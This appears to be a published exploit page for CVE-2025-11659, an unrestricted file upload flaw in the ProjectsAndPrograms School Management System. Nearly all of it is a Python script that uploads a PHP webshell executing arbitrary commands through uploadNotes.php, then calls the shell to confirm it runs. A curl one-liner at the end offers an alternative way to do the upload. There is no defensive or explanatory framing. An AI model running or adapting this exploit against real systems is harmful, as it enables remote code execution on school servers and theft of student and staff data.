CVE-2025-11659：ProjectsAndPrograms学校管理系统任意文件上传漏洞

#!/usr/bin/env python3 # CVE-2025-11659 - ProjectsAndPrograms School Management System Unrestricted File Upload # Exploit for /assets/uploadNotes.php import requests TARGET_URL = "http://target.com" # Replace with actual target URL UPLOAD_PATH = "/assets/uploadNotes.php" # PHP Webshell payload php_shell = b"""<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $output = shell_exec($_REQUEST['cmd']); echo $output; echo "</pre>"; } ?>""" # Create a PHP file disguised as a note files = { 'File': ('shell.php', php_shell, 'application/x-php') } # Send the malicious upload request url = TARGET_URL + UPLOAD_PATH print(f"[*] Targeting: {url}") try: response = requests.post(url, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Try to access the uploaded shell shell_url = TARGET_URL + "/assets/shell.php?cmd=id" shell_response = requests.get(shell_url, timeout=10) print(f"[*] Shell Status: {shell_response.status_code}") if shell_response.status_code == 200: print(f"[+] Shell accessible at: {shell_url}") print(f"[+] Output: {shell_response.text}") except Exception as e: print(f"[-] Error: {e}") # Alternative: Upload via curl # curl -F "[email protected]" http://target.com/assets/uploadNotes.php